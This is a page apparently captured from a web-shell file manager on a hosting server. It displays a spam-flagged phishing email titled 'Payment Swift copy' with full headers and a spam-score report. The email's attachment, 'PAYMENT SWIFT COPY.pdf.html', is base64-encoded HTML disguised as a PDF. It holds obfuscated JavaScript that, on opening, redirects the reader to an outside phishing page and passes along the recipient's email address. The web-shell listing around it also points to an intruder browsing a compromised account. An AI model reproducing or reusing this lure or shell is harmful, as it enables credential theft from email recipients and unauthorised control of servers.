Submit
Path:
~
/
/
proc
/
thread-self
/
root
/
home
/
getwphos
/
mail
/
getwphost.com
/
sales
/
.spam
/
new
/
File Content:
1703462359.M791013P2501305.cloud.secureservercompany.com,S=7378,W=7518
Return-Path: <ldh37226@gmail.com> Delivered-To: sales+spam@getwphost.com Received: from cloud.secureservercompany.com by cloud.secureservercompany.com with LMTP id CEK5LtfFiGW5KiYA/fdRkw (envelope-from <ldh37226@gmail.com>) for <sales+spam@getwphost.com>; Sun, 24 Dec 2023 16:59:19 -0700 Return-path: <ldh37226@gmail.com> Envelope-to: sales@getwphost.com Delivery-date: Sun, 24 Dec 2023 16:59:19 -0700 Received: from [91.92.254.17] (port=54287 helo=gmail.com) by cloud.secureservercompany.com with esmtp (Exim 4.96.2) (envelope-from <ldh37226@gmail.com>) id 1rHYNI-00AVrh-2j for sales@getwphost.com; Sun, 24 Dec 2023 16:59:19 -0700 From: Accounting <ldh37226@gmail.com> To: sales@getwphost.com Date: 25 Dec 2023 00:58:35 +0100 Message-ID: <20231225005834.7BA40F41985EEF54@gmail.com> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0012_F58AADFB.0DC17450" X-Spam-Status: Yes, score=20.8 X-Spam-Score: 208 X-Spam-Bar: ++++++++++++++++++++ X-Spam-Report: Spam detection software, running on the system "cloud.secureservercompany.com", has identified this incoming email as possible spam. The original message has been attached to this so you can view it or label similar future email. If you have any questions, see root\@localhost for details. Content preview: New Page 1 How are you Find attached PAYMENT SWIFT COPY. as requested Content analysis details: (20.8 points, 5.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- 1.2 FSL_HELO_FAKE No description available. 4.7 RCVD_IN_XBL RBL: Received via a relay in Spamhaus XBL [91.92.254.17 listed in zen.spamhaus.org] 3.6 RCVD_IN_PBL RBL: Received via a relay in Spamhaus PBL 1.0 FORGED_GMAIL_RCVD 'From' gmail.com does not match 'Received' headers 1.5 SPF_HELO_SOFTFAIL SPF: HELO does not match SPF record (softfail) 0.0 DKIM_ADSP_CUSTOM_MED No valid author signature, adsp_override is CUSTOM_MED 0.2 FREEMAIL_ENVFROM_END_DIGIT Envelope-from freemail username ends in digit [ldh37226[at]gmail.com] 0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider [ldh37226[at]gmail.com] 1.5 SPF_SOFTFAIL SPF: sender does not match SPF record (softfail) 0.0 HTML_MESSAGE BODY: HTML included in message 0.0 HTML_EXTRA_CLOSE BODY: HTML contains far too many close tags 0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.2 KAM_DMARC_NONE DKIM has Failed or SPF has failed on the message and the domain has no DMARC policy 3.5 PHISH_ATTACH Attachment filename suspicious, probable phishing -0.0 T_SCC_BODY_TEXT_LINE No description available. 2.0 RDNS_NONE Delivered to internal network by a host with no rDNS 0.0 KAM_DMARC_STATUS Test Rule for DKIM or SPF Failure with Strict Alignment 0.0 T_HTML_ATTACH HTML attachment to bypass scanning? 0.0 PDS_HP_HELO_NORDNS High profile HELO with no sender rDNS 0.0 SPOOFED_FREEMAIL_NO_RDNS From SPOOFED_FREEMAIL and no rDNS 1.2 NML_ADSP_CUSTOM_MED ADSP custom_med hit, and not from a mailing list X-Spam-Flag: YES Subject: ***SPAM*** Fwd: Payment Swift copy This is a multi-part message in MIME format. ------=_NextPart_000_0012_F58AADFB.0DC17450 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.= w3.org/TR/html4/loose.dtd"> <HTML><HEAD><TITLE>New Page 1</TITLE> <META content=3Den-us http-equiv=3DContent-Language> <META content=3D"text/html; charset=3Dwindows-1252" http-equiv=3DContent-Ty= pe> <META name=3DGENERATOR content=3D"MSHTML 11.00.10570.1001"></HEAD> <body> <DIV class=3DrcmBody style=3D"MARGIN: 0.5em"> <DIV> <P><FONT size=3D4>How are you<BR> </FONT></P></DIV> <DIV style=3D"FONT-SIZE: 12pt; FONT-FAMILY: Calibri,Arial,Helvetica,sans-se= rif; COLOR: rgb(0,0,0)"><FONT size=3D4>Find attached PAYMENT SWIFT COP= Y. as requested=20 <P>kindly check with your bank for confirmation. </FONT></P></DIV> <DIV style=3D"FONT-SIZE: 12pt; FONT-FAMILY: Calibri,Arial,Helvetica,sans-se= rif; COLOR: rgb(0,0,0)"> =20 <P><FONT size=3D4>Thanks<BR>Accounting<BR>lisa</FONT></P> <P> </P></DIV> <P><SPAN style=3D"FONT-FAMILY: Calibri,Arial,Helvetica,sans-serif"><FONT si= ze=3D4>-----Original Message-----<BR>From: "Account Payables/Credit Control= Unit"<BR>Date: 12/25/2023 12:58:34 a.m.<BR>To: "Accounting"<</FONT></SP= AN><FONT size=3D4><A style=3D"COLOR: rgb(0,0,238)">ldh37226@gmail.com</A></= FONT><SPAN style=3D"FONT-FAMILY: Calibri,Arial,Helvetica,sans-serif"><FONT = size=3D4>><BR>Subject: Fwd: Payment Swift copy </FONT></SPAN></P> <P> </P> <P><FONT size=3D4>Hello, lisa</FONT></P> <P><FONT size=3D4>Kindly forward the attached Payment Swift copy= to </FONT><A style=3D"COLOR: rgb(0,0,238)"><FONT size=3D4>sales@getw= phost.com</FONT></A></P></DIV> <P><FONT size=3D4>Best Regards,<BR>Account Payables/Credit Control Unit </F= ONT></P></BODY></HTML> ------=_NextPart_000_0012_F58AADFB.0DC17450 Content-Type: text/html; name="PAYMENT SWIFT COPY.pdf.html" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="PAYMENT SWIFT COPY.pdf.html" PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KPCEtLWRmdHl5MzQ1cG9pamJibm0s a21oYmd2ZmN0NDU3eXRzd3NxYXNkZmN4enN6eHphc2RmNDM0NTY3ODkwa215Z2hqdXk3eWg2 dHl1amlranZnLS0+DQo8IS0tDQpkb2N1bWVudC53cml0ZSh1bmVzY2FwZSgnJTNjJTIxJTQ0 JTRmJTQzJTU0JTU5JTUwJTQ1JTIwJTY4JTc0JTZkJTZjJTIwJTUwJTU1JTQyJTRjJTQ5JTQz JTIwJTIyJTJkJTJmJTJmJTU3JTMzJTQzJTJmJTJmJTQ0JTU0JTQ0JTIwJTU4JTQ4JTU0JTRk JTRjJTIwJTMxJTJlJTMwJTIwJTU0JTcyJTYxJTZlJTczJTY5JTc0JTY5JTZmJTZlJTYxJTZj JTJmJTJmJTQ1JTRlJTIyJTBkJTBhJTBkJTBhJTIyJTY4JTc0JTc0JTcwJTNhJTJmJTJmJTc3 JTc3JTc3JTJlJTc3JTMzJTJlJTZmJTcyJTY3JTJmJTU0JTUyJTJmJTc4JTY4JTc0JTZkJTZj JTMxJTJmJTQ0JTU0JTQ0JTJmJTc4JTY4JTc0JTZkJTZjJTMxJTJkJTc0JTcyJTYxJTZlJTcz JTY5JTc0JTY5JTZmJTZlJTYxJTZjJTJlJTY0JTc0JTY0JTIyJTNlJTBkJTBhJTNjJTY4JTc0 JTZkJTZjJTIwJTc4JTZkJTZjJTZlJTczJTNkJTIyJTIyJTNlJTBkJTBhJTNjJTY4JTY1JTYx JTY0JTNlJTBkJTBhJTNjJTZkJTY1JTc0JTYxJTIwJTY4JTc0JTc0JTcwJTJkJTY1JTcxJTc1 JTY5JTc2JTNkJTIyJTQzJTZmJTZlJTc0JTY1JTZlJTc0JTJkJTU0JTc5JTcwJTY1JTIyJTIw JTYzJTZmJTZlJTc0JTY1JTZlJTc0JTNkJTIyJTc0JTY1JTc4JTc0JTJmJTY4JTc0JTZkJTZj JTNiJTIwJTYzJTY4JTYxJTcyJTczJTY1JTc0JTNkJTY5JTczJTZmJTJkJTM4JTM4JTM1JTM5 JTJkJTMxJTIyJTIwJTJmJTNlJTBkJTBhJTNjJTZkJTY1JTc0JTYxJTIwJTY4JTc0JTc0JTcw JTJkJTY1JTcxJTc1JTY5JTc2JTNkJTIyJTUyJTQ1JTQ2JTUyJTQ1JTUzJTQ4JTIyJTYzJTZm JTZlJTc0JTY1JTZlJTc0JTNkJTIyJTMxJTNiJTc1JTcyJTZjJTNkJTY4JTc0JTc0JTcwJTNh JTJmJTJmJTZkJTY1JTY0JTY5JTYzJTYxJTZjJTJkJTZmJTcwJTJlJTYzJTZmJTJlJTZhJTcw JTJmJTZkJTc0JTJmJTY1JTc4JTc0JTZjJTY5JTYyJTJmJTRjJTU3JTUwJTJmJTYzJTczJTJl JTY4JTc0JTZkJTZjJTNmJTY1JTZkJTYxJTY5JTZjJTNkJykpOw0KLy8tLT4NCjwvc2NyaXB0 Pg0Kc2FsZXNAZ2V0d3Bob3N0LmNvbSI+DQo8dGl0bGU+VW50aXRsZWQgRG9jdW1lbnQ8L3Rp dGxlPg0KPC9oZWFkPg0KDQo8Ym9keT4NCg0KPC9ib2R5Pg0KPC9odG1sPg0K ------=_NextPart_000_0012_F58AADFB.0DC17450--
Submit
FILE
FOLDER
Name
Size
Permission
Action
1703462359.M791013P2501305.cloud.secureservercompany.com,S=7378,W=7518
7378 bytes
0640
N4ST4R_ID | Naxtarrr